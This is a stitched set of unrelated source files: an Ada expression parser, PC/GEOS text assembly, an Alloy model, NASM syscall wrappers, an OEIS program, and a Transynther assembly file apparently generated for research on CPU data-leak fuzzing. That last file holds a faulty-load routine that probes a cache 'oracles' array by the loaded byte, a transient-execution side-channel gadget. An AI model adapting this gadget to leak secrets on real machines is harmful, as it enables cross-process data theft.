-- expr ::= factor '+' expr -- expr ::= factor '-' expr -- expr ::= factor '&' expr -- -- Section 1.7.1 Binary operators A (+|-) B -- ------------------------------ procedure Parse_Math (P : in out Parser; Result : out ELNode_Access) is Right : ELNode_Access; Token : Token_Type; begin Parse_Multiply (P, Result); loop Peek (P, Token); case Token is when T_PLUS => Parse_Multiply (P, Right); Result := Create_Node (EL_ADD, Result, Right); when T_MINUS => Parse_Multiply (P, Right); Result := Create_Node (EL_SUB, Result, Right); when T_AND => Parse_Multiply (P, Right); Result := Create_Node (EL_AND, Result, Right); when others => exit; end case; Right := null; end loop; Put_Back (P, Token); exception when others => Delete (Result); Delete (Right); raise; end Parse_Math; -- ------------------------------ -- Parse a multiply '*' '/' '%' then Unary -- factor ::= term '*' factor -- factor ::= term '/' factor -- factor ::= term -- -- Section 1.7.1 Binary operators A * B -- Section 1.7.2 Binary operators A / B -- ------------------------------ procedure Parse_Multiply (P : in out Parser; Result : out ELNode_Access) is Token : Token_Type; Right : ELNode_Access; begin Parse_Unary (P, Result); loop Peek (P, Token); case Token is when T_MUL => Parse_Unary (P, Right); Result := Create_Node (EL_MUL, Result, Right); when T_DIV => Parse_Unary (P, Right); Result := Create_Node (EL_DIV, Result, Right); when T_MOD => Parse_Unary (P, Right); Result := Create_Node (EL_MOD, Result, Right); when others => exit; end case; Right := null; end loop; Put_Back (P, Token); exception when others => Delete (Result); Delete (Right); raise; end Parse_Multiply; -- ------------------------------ -- Parse a unary '!' '-' 'not' 'empty' then value -- unary ::= '(' choice ')' -- unary ::= ! unary -- unary ::= not unary -- unary ::= '-' unary -- term ::= '(' expr ')' -- term ::= literal -- term ::= ['-'] number ['.' number [{'e' | 'E'} number]] -- term ::= name '.' name -- number ::= [0-9]+ -- -- Section 1.9.2 Unary not operator -- Section 1.10 Empty operator -- Section 1.12 Parentheses -- Section 1.3 Literals -- ------------------------------ procedure Parse_Unary (P : in out Parser; Result : out ELNode_Access) is Token : Token_Type; Node : ELNode_Access; begin loop Peek (P, Token); case Token is -- Parenthesis expression when T_LEFT_PARENT => Parse_Choice (P, Result); Peek (P, Token); if Token /= T_RIGHT_PARENT then raise Invalid_Expression with "Missing ')' at end of expression"; end if; return; when T_NOT => Parse_Unary (P, Node); Result := Create_Node (EL_NOT, Node); return; when T_MINUS => Parse_Unary (P, Node); Result := Create_Node (EL_MINUS, Node); return; when T_EMPTY => Parse_Unary (P, Node); Result := Create_Node (EL_EMPTY, Node); return; when T_NUMBER => Result := Create_Node (P.Value); return; -- when T_LITERAL => Result := Create_Node (P.Token); return; when T_TRUE => Result := Create_Node (True); return; when T_FALSE => Result := Create_Node (False); return; when T_NULL => Result := Create_Node (False); return; when T_NAME => -- name -- name.name.name -- name[expr] -- name.name[expr] -- name(expr,...,expr) declare C : Wide_Wide_Character; begin if P.Pos <= P.Last then C := P.Expr (P.Pos); else C := ' '; end if; if C = '.' then Result := Create_Variable (P.Expr (P.Token_Start .. P.Token_End)); -- Parse one or several property extensions while C = '.' loop P.Pos := P.Pos + 1; Peek (P, Token); exit when Token /= T_NAME; Result := Create_Value (Variable => Result, Name => P.Expr (P.Token_Start .. P.Token_End)); if P.Pos <= P.Last then C := P.Expr (P.Pos); else C := ' '; end if; end loop; -- Parse a function call elsif C = ':' then declare Name : constant String := To_String (P.Expr (P.Token_Start .. P.Token_End)); begin P.Pos := P.Pos + 1; Peek (P, Token); if P.Pos <= P.Last then C := P.Expr (P.Pos); else C := ' '; end if; if Token /= T_NAME or C /= '(' then raise Invalid_Expression with "Missing function name after ':'"; end if; Parse_Function (P, Name, To_String (P.Expr (P.Token_Start .. P.Token_End)), Result); end; -- Parse a function call elsif C = '(' then Parse_Function (P, "", To_String (P.Expr (P.Token_Start .. P.Token_End)), Result); else Result := Create_Variable (P.Expr (P.Token_Start .. P.Token_End)); end if; -- Recognize a basic form of array index. if C = '[' then P.Pos := P.Pos + 1; Peek (P, Token); if Token = T_NAME then Result := Create_Value (Variable => Result, Name => P.Expr (P.Token_Start .. P.Token_End)); elsif Token = T_LITERAL then Result := Create_Value (Variable => Result, Name => To_Wide_Wide_String (P.Token)); else raise Invalid_Expression with "Missing string in array index []"; end if; if P.Pos > P.Last or else P.Expr (P.Pos) /= ']' then raise Invalid_Expression with "Missing ']' to close array index"; end if; P.Pos := P.Pos + 1; end if; end; return; when others => raise Invalid_Expression with "Syntax error in expression"; end case; end loop; exception when others => Delete (Result); Delete (Node); raise; end Parse_Unary; -- ------------------------------ -- Put back a token in the buffer. -- ------------------------------ procedure Put_Back (P : in out Parser; Token : in Token_Type) is begin P.Pending_Token := Token; end Put_Back; -- ------------------------------ -- Parse the expression buffer to find the next token. -- ------------------------------ procedure Peek (P : in out Parser; Token : out Token_Type) is C, C1 : Wide_Wide_Character; begin -- If a token was put back, return it. if P.Pending_Token /= T_EOL then Token := P.Pending_Token; P.Pending_Token := T_EOL; return; end if; -- Skip white spaces while P.Pos <= P.Last loop C := P.Expr (P.Pos); exit when C /= ' ' and C /= ' '; P.Pos := P.Pos + 1; end loop; -- Check for end of string. if P.Pos > P.Last then Token := T_EOL; return; end if; -- See what we have and continue parsing. P.Pos := P.Pos + 1; case C is -- Literal string using single or double quotes -- Collect up to the end of the string and put -- the result in the parser token result. when ''' | '"' => Clear (P.Token); while P.Pos <= P.Last loop C1 := P.Expr (P.Pos); P.Pos := P.Pos + 1; if C1 = '\' then C1 := P.Expr (P.Pos); P.Pos := P.Pos + 1; elsif C1 = C then Token := T_LITERAL; return; end if; Append (P.Token, C1); end loop; raise Invalid_Expression with "Missing ' or """; -- Number when '0' .. '9' => P.Pos := P.Pos - 1; Parse_Number (P, P.Value); if P.Pos <= P.Last then declare Decimal_Part : Long_Long_Integer := 0; begin C := P.Expr (P.Pos); if C = '.' then P.Pos := P.Pos + 1; if P.Pos <= P.Last then C := P.Expr (P.Pos); if C in '0' .. '9' then Parse_Number (P, Decimal_Part); end if; end if; end if; end; end if; Token := T_NUMBER; return; -- Parse a name composed of letters or digits. when 'a' .. 'z' | 'A' .. 'Z' => P.Token_Start := P.Pos - 1; while P.Pos <= P.Last loop C1 := P.Expr (P.Pos); exit when not (C1 in 'a' .. 'z' or C1 in 'A' .. 'Z' or C1 in '0' .. '9' or C1 = '_'); P.Pos := P.Pos + 1; end loop; P.Token_End := P.Pos - 1; -- and empty eq false ge gt le lt ne not null true case C is when 'a' => if P.Expr (P.Token_Start .. P.Token_End) = "and" then Token := T_LOGICAL_AND; return; end if; when 'd' => if P.Expr (P.Token_Start .. P.Token_End) = "div" then Token := T_DIV; return; end if; when 'e' => if P.Expr (P.Token_Start .. P.Token_End) = "eq" then Token := T_EQ; return; elsif P.Expr (P.Token_Start .. P.Token_End) = "empty" then Token := T_EMPTY; return; end if; when 'f' | 'F' => if P.Expr (P.Token_Start .. P.Token_End) = "false" then Token := T_FALSE; return; end if; when 'g' | 'G' => if P.Expr (P.Token_Start .. P.Token_End) = "ge" then Token := T_GE; return; elsif P.Expr (P.Token_Start .. P.Token_End) = "gt" then Token := T_GT; return; end if; when 'm' | 'M' => if P.Expr (P.Token_Start .. P.Token_End) = "mod" then Token := T_MOD; return; end if; when 'l' | 'L' => if P.Expr (P.Token_Start .. P.Token_End) = "le" then Token := T_LE; return; elsif P.Expr (P.Token_Start .. P.Token_End) = "lt" then Token := T_LT; return; end if; when 'n' | 'N' => if P.Expr (P.Token_Start .. P.Token_End) = "not" then Token := T_NOT; return; elsif P.Expr (P.Token_Start .. P.Token_End) = "ne" then Token := T_NE; return; elsif P.Expr (P.Token_Start .. P.Token_End) = "null" then Token := T_NULL; return; end if; when 'o' => if P.Expr (P.Token_Start .. P.Token_End) = "or" then Token := T_OR; return; end if; when 't' | 'T' => if P.Expr (P.Token_Start .. P.Token_End) = "true" then Token := T_TRUE; return; end if; when others => null; end case; Token := T_NAME; return; when '(' => Token := T_LEFT_PARENT; return; when ')' => Token := T_RIGHT_PARENT; return; when '+' => Token := T_PLUS; return; when '-' => Token := T_MINUS; return; when '.' => Token := T_DOT; return; when ',' => Token := T_COMMA; return; when '*' => Token := T_MUL; return; when '/' => Token := T_DIV; return; when '%' => Token := T_MOD; return; when '?' => Token := T_QUESTION; return; when ':' => Token := T_COLON; return; when '!' => Token := T_NOT; if P.Pos <= P.Last then C1 := P.Expr (P.Pos); if C1 = '=' then P.Pos := P.Pos + 1; Token := T_NE; end if; end if; return; when '<' => -- Comparison operators < or <= Token := T_LT; if P.Pos <= P.Last then C1 := P.Expr (P.Pos); if C1 = '=' then P.Pos := P.Pos + 1; Token := T_LE; end if; end if; return; when '>' => -- Comparison operators > or >= Token := T_GT; if P.Pos <= P.Last then C1 := P.Expr (P.Pos); if C1 = '=' then P.Pos := P.Pos + 1; Token := T_GE; end if; end if; return; when '&' => Token := T_AND; if P.Pos <= P.Last then C1 := P.Expr (P.Pos); if C1 = '&' then Token := T_LOGICAL_AND; P.Pos := P.Pos + 1; end if; end if; return; when '|' => Token := T_UNKNOWN; if P.Pos <= P.Last then C1 := P.Expr (P.Pos); if C1 = '|' then Token := T_OR; P.Pos := P.Pos + 1; end if; end if; return; when '=' => Token := T_UNKNOWN; if P.Pos <= P.Last then C1 := P.Expr (P.Pos); if C1 = '=' then Token := T_EQ; P.Pos := P.Pos + 1; end if; end if; return; when '}' => Token := T_BRACE_END; return; when others => Token := T_UNKNOWN; return; end case; end Peek; -- ------------------------------ -- Parse a number -- ------------------------------ procedure Parse_Number (P : in out Parser; Result : out Long_Long_Integer) is Value : Long_Long_Integer := 0; Num : Long_Long_Integer; C : Wide_Wide_Character; begin while P.Pos <= P.Last loop C := P.Expr (P.Pos); exit when C not in '0' .. '9'; Num := Wide_Wide_Character'Pos (C) - Wide_Wide_Character'Pos ('0'); Value := Value * 10 + Num; P.Pos := P.Pos + 1; end loop; Result := Value; end Parse_Number; -- ------------------------------ -- Parse a function call. -- The function call can have up to 4 arguments. -- ------------------------------ procedure Parse_Function (P : in out Parser; Namespace : in String; Name : in String; Result : out ELNode_Access) is Token : Token_Type; Arg1, Arg2, Arg3, Arg4 : ELNode_Access; Func : Function_Access; begin if P.Mapper = null then raise Invalid_Expression with "There is no function mapper"; end if; Func := P.Mapper.Get_Function (Namespace, Name); -- if Func = null then -- raise Invalid_Expression with "Function '" & N & "' not found"; -- end if; -- Extract the first argument. -- Number of arguments is pre-defined P.Pos := P.Pos + 1; Parse_Choice (P, Arg1); Peek (P, Token); if Token /= T_COMMA then if Token /= T_RIGHT_PARENT then raise Invalid_Expression with "Missing ')' at end of function call"; end if; Result := Create_Node (Func, Arg1); return; end if; Parse_Choice (P, Arg2); Peek (P, Token); if Token /= T_COMMA then if Token /= T_RIGHT_PARENT then raise Invalid_Expression with "Missing ')' at end of function call"; end if; Result := Create_Node (Func, Arg1, Arg2); return; end if; Parse_Choice (P, Arg3); Peek (P, Token); if Token /= T_COMMA then if Token /= T_RIGHT_PARENT then raise Invalid_Expression with "Missing ')' at end of function call"; end if; Result := Create_Node (Func, Arg1, Arg2, Arg3); return; end if; Parse_Choice (P, Arg4); Peek (P, Token); if Token /= T_RIGHT_PARENT then raise Invalid_Expression with "Missing ')' at end of function call"; end if; Result := Create_Node (Func, Arg1, Arg2, Arg3, Arg4); exception when others => Delete (Result); Delete (Arg1); Delete (Arg2); Delete (Arg3); Delete (Arg4); raise; end Parse_Function; procedure Parse (Expr : in String; Context : in ELContext'Class; Result : out EL.Expressions.Nodes.ELNode_Access) is P : Parser; S : aliased Wide_Wide_String := To_Wide_Wide_String (Expr); begin Result := null; P.Mapper := Context.Get_Function_Mapper; P.Expr := S'Unchecked_Access; P.Pos := P.Expr.all'First; P.Last := P.Expr.all'Last; Parse_EL (P, Result); if P.Pos <= P.Last or P.Pending_Token /= T_EOL then raise Invalid_Expression with "Syntax error at end of expression"; end if; exception when others => Delete (Result); raise; end Parse; procedure Parse (Expr : in Wide_Wide_String; Context : in ELContext'Class; Result : out EL.Expressions.Nodes.ELNode_Access) is S : aliased Wide_Wide_String := Expr; P : Parser; begin Result := null; P.Mapper := Context.Get_Function_Mapper; P.Expr := S'Unchecked_Access; P.Pos := P.Expr.all'First; P.Last := P.Expr.all'Last; Parse_EL (P, Result); if P.Pos <= P.Last or P.Pending_Token /= T_EOL then raise Invalid_Expression with "Syntax error at end of expression"; end if; exception when others => Delete (Result); raise; end Parse; end EL.Expressions.Parser;
Library/Text/TextLine/tlTabUtils.asm
steakknife/pcgeos
504
85398
<reponame>steakknife/pcgeos COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: tlTabUtils.asm AUTHOR: <NAME>, Jan 22, 1992 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- John 1/22/92 Initial revision DESCRIPTION: Utility routines for accessing tabs. $Id: tlTabUtils.asm,v 1.1 97/04/07 11:21:19 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TextFixed segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TabGetPositionAndAttributes %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the position and attributes of a tab. CALLED BY: CalcFieldPosition, FieldGetTabLeaderType, DrawTabLeader PASS: ss:bp = LICL_vars w/: LICL_paraAttr set es:di = Line es:dx = Current field (this is only passed if called from CalcFieldPosition, hopefully not needed when called from FieldGetTabLeaderType and DrawTabLeader) al = TabReference ss:bx = TOC_vars (if it is possible that no tab actually exists) (this is only passed if called from CalcFieldPosition, hopefully not needed when called from FieldGetTabLeaderType and DrawTabLeader) ss:bp = LICL_vars (with LICL_theParaAttr) RETURN: cx = Position of the tab on the line al = TabAttributes bx = tab spacing DESTROYED: nothing PSEUDO CODE/STRATEGY: There are a few cases: In Ruler: At left edge of line (no tab) At left margin (tab to left margin) Normal tabs Other: Default tabs Intrinsic tabs KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 1/14/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TabGetPositionAndAttributes proc far uses dx, si, ds .enter ; ; Set up a pointer to the ruler and grab the tab type... ; segmov ds, ss, si ; ds:si <- ptr to ruler lea si, ss:[bp].LICL_theParaAttr mov ah, al ; Save TabReference in ah ExtractField byte, ah, TR_TYPE, al ; al <- tab type ; ah <- reference number ExtractField byte, ah, TR_REF_NUMBER, ah cmp al, TRT_RULER ; Check for tab in ruler jne other ; Branch if not cmp ah, RULER_TAB_TO_LEFT_MARGIN ; Check for using left margin je useLeftMargin cmp ah, RULER_TAB_TO_PARA_MARGIN ; Check for using para margin je useParaMargin cmp ah, RULER_TAB_TO_LINE_LEFT ; Check for line-left je useLineLeft ;----------------------------------------------------------------------------- ; Normal Tabs ;----------------------------------------------------------------------------- clr cx ; cx <- # of tabs mov cl, ds:[si].VTPA_numberOfTabs sub cl, ah ; cx <- tab # to grab mov ax, size Tab ; ax <- multiplier mul cx ; ax <- offset to tab to get add si, VTPA_tabList ; ds:si <- ptr to tab list add si, ax ; ds:si <- ptr to the tab mov cx, ds:[si].T_position ; cx <- position mov al, ds:[si].T_attr ; al <- TabAttributes clr bx mov bl, ds:[si].T_lineWidth add bl, ds:[si].T_lineSpacing shr bx shr bx shr bx ; bx = spacing mov ah, al and ah, mask TA_TYPE ;if a right tab then spacing is cmp ah, TT_RIGHT shl offset TA_TYPE ;positive else spacing jz quit ;is negative neg bx quit: ; ; cx = Position of tab ; al = TabAttributes ; clr ah .leave ret ;----------------------------------------------------------------------------- ; Tab to Left-Margin ;----------------------------------------------------------------------------- useLeftMargin: ; ; The tab is not really a tab. It's one of those "fake" tabs that ; we use to allow the user to tab from some position between the ; paragraph margin and the left margin to the left-margin. ; mov cx, ds:[si].VTPA_leftMargin mov al, TabAttributes<0,0,0,TT_LEFT> quitNoSpacing: clr bx jmp quit ;----------------------------------------------------------------------------- ; Tab to Para-Margin ;----------------------------------------------------------------------------- useParaMargin: ; ; The tab is not really a tab. It's one of those "fake" tabs that ; we use to allow the user to tab from some position between the ; left margin and the paragraph margin to the para-margin. ; mov cx, ds:[si].VTPA_paraMargin mov al, TabAttributes<0,0,0,TT_LEFT> jmp quitNoSpacing ;----------------------------------------------------------------------------- ; No Tab ;----------------------------------------------------------------------------- useLineLeft: ; ; There isn't any tab at all. Use the left or paragraph margin, ; whichever is appropriate for this line. ; mov cx, ds:[si].VTPA_leftMargin ; Assume left-margin test ss:[bx].TOCV_ext.TOCE_lineFlags, mask LF_STARTS_PARAGRAPH jz gotMargin mov cx, ds:[si].VTPA_paraMargin ; Use paragraph margin gotMargin: mov al, TabAttributes<0,0,0,TT_LEFT> jmp quitNoSpacing ;----------------------------------------------------------------------------- ; Other ;----------------------------------------------------------------------------- other: ; ; The tab isn't in the ruler. It is either a default tab or else ; it is an "intrinsic" tab. ; cmp ah, OTHER_INTRINSIC_TAB je intrinsic cmp ah, OTHER_ZERO_WIDTH_TAB je zeroWidth ;----------------------------------------------------------------------------- ; Default Tab ;----------------------------------------------------------------------------- ; ; It is a default tab, compute a position. ; ah = default tab number ; mov al, ah ; ax <- default tab number clr ah ; cx <- width of default tabs mov cx, ss:[bp].LICL_theParaAttr.VTMPA_paraAttr.VTPA_defaultTabs shl cx shl cx mul cx ; ax <- position * 32. add ax, 32/2 ; round position mov cl, 5 shr ax, cl mov cx, ax ; cx <- position mov al, TabAttributes<0,0,0,TT_LEFT> jmp quitNoSpacing ;----------------------------------------------------------------------------- ; Intrinsic Tab ;----------------------------------------------------------------------------- intrinsic: ; ; It's an intrinsic tab, take end of previous field and add ; in the intrinsic width to get the new position. ; ss:bp = LICL_vars ; es:di = Line ; es:dx = Field ; if NO_TAB_IS_RIGHT_MARGIN ; see tlCommonCalc.asm for more of this fix ; ; attempt better intrinsic tab behavior - tab to right margin ; mov cx, ds:[si].VTPA_rightMargin dec cx else call ComputeEndPrevField ; ax <- end of prev field mov cx, ax ; cx <- end of prev field add cx, TAB_INTRINSIC_WIDTH ; cx <- position for tab endif mov ax, TabAttributes<0,0,0,TT_LEFT> jmp quitNoSpacing ;----------------------------------------------------------------------------- ; Zero Width ;----------------------------------------------------------------------------- zeroWidth: ; ; It's a zero width tab. Something horrible happened to this line... ; ; ss:bp = LICL_vars ; es:di = Line ; es:dx = Field ; call ComputeEndPrevField ; ax <- end of prev field mov cx, ax ; cx <- end of prev field mov ax, TabAttributes<0,0,0,TT_LEFT> jmp quitNoSpacing TabGetPositionAndAttributes endp TextFixed ends
alloy4fun_models/trashltl/models/9/fzZ6FHpHXBABdyPPM.als
Kaixi26/org.alloytools.alloy
0
945
<reponame>Kaixi26/org.alloytools.alloy open main pred idfzZ6FHpHXBABdyPPM_prop10 { always all f:File | f in Protected implies always f in Protected' } pred __repair { idfzZ6FHpHXBABdyPPM_prop10 } check __repair { idfzZ6FHpHXBABdyPPM_prop10 <=> prop10o }
modules/taskman/main/svcif.nasm
r-tty/radios
0
104372
;------------------------------------------------------------------------------- ; svcif.nasm - ring0 syscall routines. ;------------------------------------------------------------------------------- module tm.svcif %include "pool.ah" %include "tm/svcif.ah" publicproc HashAdd, HashLookup, HashRelease publicproc PoolInit, PoolAllocChunk, PoolFreeChunk publicproc PoolChunkNumber, PoolChunkAddr publicproc PageAlloc, PageDealloc publicproc CopyToAct, CopyFromAct publicproc RegisterLDT, UnregisterLDT publicproc CloneConnections section .text ; Hash something. ; Input: EAX=identifier, ; EBX=key, ; ESI=hash table address, ; EDI=data pointer. ; Output: CF=0 - OK, EAX=0; ; CF=1 - error, AX=error code. proc HashAdd mRing0call SVCF_HashAdd ret endp ;--------------------------------------------------------------- ; Search in the hash table. ; Input: EAX=identifier, ; EBX=key, ; ESI=table address. ; Output: CF=0 - element found: ; EDX=table slot address, ; EDI=element address; ; CF=1 - element not found. proc HashLookup mRing0call SVCF_HashLookup ret endp ;--------------------------------------------------------------- ; Release the hash element. ; Input: EDX=table slot address, ; EDI=element address. ; Output: CF=0 - OK, EAX=0; ; CF=1 - error. proc HashRelease mRing0call SVCF_HashRelease ret endp ;--------------------------------------------------------------- ; Initialize a pool. ; Input: EBX=master pool address, ; ECX=chunk size. ; Output: none. proc PoolInit mov dl,POOLFL_HIMEM mRing0call SVCF_PoolInit ret endp ;--------------------------------------------------------------- ; Allocate a chunk from the pool. ; Input: EBX=master pool address, ; Output: CF=0 - OK, ESI=chunk address; ; CF=1 - error, AX=error code. proc PoolAllocChunk mRing0call SVCF_PoolAllocChunk ret endp ;--------------------------------------------------------------- ; Deallocate a chunk from the pool. ; Input: ESI=chunk address. ; Output: CF=0 - OK; ; CF=1 - error, AX=error code. proc PoolFreeChunk mRing0call SVCF_PoolFreeChunk ret endp ;--------------------------------------------------------------- ; Get a chunk number by its address proc PoolChunkNumber mRing0call SVCF_PoolChunkNumber ret endp ;--------------------------------------------------------------- ; Get a chunk address by its number proc PoolChunkAddr mRing0call SVCF_PoolChunkAddr ret endp ;--------------------------------------------------------------- ; Allocate a page of physical memory. proc PageAlloc mRing0call SVCF_PageAlloc ret endp ;--------------------------------------------------------------- ; Deallocate a page of physical memory. proc PageDealloc mRing0call SVCF_PageDealloc ret endp ;--------------------------------------------------------------- ; Copy from active address space. proc CopyFromAct mRing0call SVCF_CopyFromAct ret endp ;--------------------------------------------------------------- ; Copy to active address space. proc CopyToAct mRing0call SVCF_CopyToAct ret endp ;--------------------------------------------------------------- ; Register a LDT. proc RegisterLDT mRing0call SVCF_RegisterLDT ret endp ;--------------------------------------------------------------- ; Unregister a LDT. proc UnregisterLDT mRing0call SVCF_UnregisterLDT ret endp ;--------------------------------------------------------------- ; Clone the connection descriptors. proc CloneConnections mRing0call SVCF_CloneConnections ret endp ;---------------------------------------------------------------
oeis/018/A018886.asm
neoneye/loda-programs
11
169194
; A018886: Waring's problem: least positive integer requiring maximum number of terms when expressed as a sum of positive n-th powers. ; Submitted by <NAME>(s2) ; 1,7,23,79,223,703,2175,6399,19455,58367,176127,528383,1589247,4767743,14319615,42991615,129105919,387186687,1161822207,3486515199,10458497023,31377588223,94136958975,282427654143,847282962431,2541815332863,7625580216319,22876606431231,68630356164607,205891068493823,617672131739647,1853016395218943,5559053480624127,16677169031806975,50031524275290111,150094607185608703,450283821556826111,1350851464670478335,4052554668889341951,12157665106179653631,36472995318538960895,109418985955616882687 add $0,1 mov $1,3 pow $1,$0 mov $2,2 pow $2,$0 div $1,$2 mul $1,$2 mov $0,$1 sub $0,1
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48.log_21829_938.asm
ljhsiun2/medusa
9
4047
<reponame>ljhsiun2/medusa .global s_prepare_buffers s_prepare_buffers: push %r15 push %r8 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0xe855, %rcx nop mfence mov $0x6162636465666768, %rdx movq %rdx, %xmm3 and $0xffffffffffffffc0, %rcx vmovntdq %ymm3, (%rcx) nop nop nop nop and %rbx, %rbx lea addresses_A_ht+0x13d55, %rbp nop nop nop cmp %rsi, %rsi mov $0x6162636465666768, %r8 movq %r8, %xmm1 vmovups %ymm1, (%rbp) xor %rcx, %rcx lea addresses_WT_ht+0x11455, %rsi lea addresses_normal_ht+0x15995, %rdi clflush (%rdi) nop nop cmp %r15, %r15 mov $25, %rcx rep movsw add %rbx, %rbx lea addresses_WT_ht+0x935, %rsi lea addresses_A_ht+0x17555, %rdi nop xor $20394, %rbp mov $75, %rcx rep movsw and $5695, %rdx lea addresses_normal_ht+0x16d15, %rsi lea addresses_normal_ht+0x14a55, %rdi sub %rdx, %rdx mov $56, %rcx rep movsq inc %rdi lea addresses_D_ht+0x15c55, %r15 clflush (%r15) nop add %rcx, %rcx mov (%r15), %rbx nop and %rdi, %rdi lea addresses_normal_ht+0x12455, %rcx dec %rbp movb (%rcx), %bl inc %r15 lea addresses_A_ht+0x19a55, %rbp nop nop nop nop sub %rsi, %rsi movb (%rbp), %dl nop nop nop nop nop dec %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r15 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r8 push %rbp push %rcx push %rdx push %rsi // Faulty Load mov $0x7597b70000000455, %rdx nop nop nop nop cmp $52064, %r14 vmovups (%rdx), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %rsi lea oracles, %rcx and $0xff, %rsi shlq $12, %rsi mov (%rcx,%rsi,1), %rsi pop %rsi pop %rdx pop %rcx pop %rbp pop %r8 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 